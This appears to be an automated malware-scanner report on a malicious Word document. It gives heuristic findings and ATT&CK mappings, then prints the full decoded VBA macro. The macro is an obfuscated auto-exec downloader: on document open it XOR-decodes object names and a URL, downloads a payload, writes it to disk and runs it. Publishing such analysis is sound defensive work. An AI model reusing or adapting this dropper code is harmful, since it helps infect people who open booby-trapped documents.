MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample contains a Document_Open macro that is obfuscated and uses CreateObject and Shell calls. This macro is designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' heuristic. The VBA code attempts to reconstruct strings for object creation and URLs, suggesting a downloader functionality.
Heuristics 8
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell (KQVc) -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.write jEtQKdywRptb.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0)) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0)) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2182 bytes |
SHA-256: 1c0be84264d63b3aa56ffc7724578014d516d82d73b147a16569b8730df6f9a1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If ActiveDocument.Variables("ySKtKh").Value <> "seenyou" Then
GnvUscWIxkyaWEn
ActiveDocument.Variables("ySKtKh").Value = "seenyou"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
Attribute VB_Name = "azFdhVV"
Private Function nrTNEdREto(XjGXcsBTeV As Variant, ORhvNhTlPa As Integer)
Dim xTSzQCzPDo, IPDrafvwaP As String, gkIKZjCdAA, oUBmyMbGWW
IPDrafvwaP = ActiveDocument.Variables("ySKtKh").Value()
xTSzQCzPDo = ""
gkIKZjCdAA = 1
While gkIKZjCdAA < UBound(XjGXcsBTeV) + 2
oUBmyMbGWW = gkIKZjCdAA Mod Len(IPDrafvwaP): If oUBmyMbGWW = 0 Then oUBmyMbGWW = Len(IPDrafvwaP)
xTSzQCzPDo = xTSzQCzPDo + Chr(Asc(Mid(IPDrafvwaP, oUBmyMbGWW + ORhvNhTlPa, 1)) Xor CInt(XjGXcsBTeV(gkIKZjCdAA - 1)))
gkIKZjCdAA = gkIKZjCdAA + 1
Wend
nrTNEdREto = xTSzQCzPDo
End Function
Function HltFfoaGaeOrEfX(ByVal IqcFkbXfSH As String) As Boolean
FileExists = (Dir(IqcFkbXfSH) <> "")
End Function
Public Function GnvUscWIxkyaWEn()
On Error GoTo Oops
Dim jEtQKdywRptb: Set jEtQKdywRptb = CreateObject(nrTNEdREto(Array(123, 59, 81, 42, 57, 25, 58, 43, 1, 71, 49, 44, 123, 13, 18, 16, 7), 0))
Dim aPTBDyfEoKZ: Set aPTBDyfEoKZ = CreateObject(nrTNEdREto(Array(55, 49, 25, 54, 3, 102, 61, 58, 51, 21, 3, 11), 17))
wzoqAQZA = nrTNEdREto(Array(14, 11, 97), 29)
HVuoUJLGxuzt = nrTNEdREto(Array(61, 58, 14, 72, 74, 74, 102, 46, 3, 28, 6, 74, 46, 68, 16, 90, 20, 15, 31, 27, 11, _
11, 20, 124, 66, 31, 13, 57, 20, 31, 12, 52, 75, 19, 52, 61), 63)
KQVc = nrTNEdREto(Array(41, 12, 12, 112, 42, 58, 47, 24, 14, 25, 102, 9, 117, 115, 61, 35, 93, 18, 33, 40, 2, _
1, 19, 63, 1, 25, 7, 120, 8, 23, 34), 32)
jEtQKdywRptb.Open wzoqAQZA, HVuoUJLGxuzt, False
jEtQKdywRptb.Send
With aPTBDyfEoKZ
.Type = 1
.Open
.write jEtQKdywRptb.responseBody
.savetofile KQVc, 2
End With
Shell (KQVc)
Oops:
'//don't worry, be lazy
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.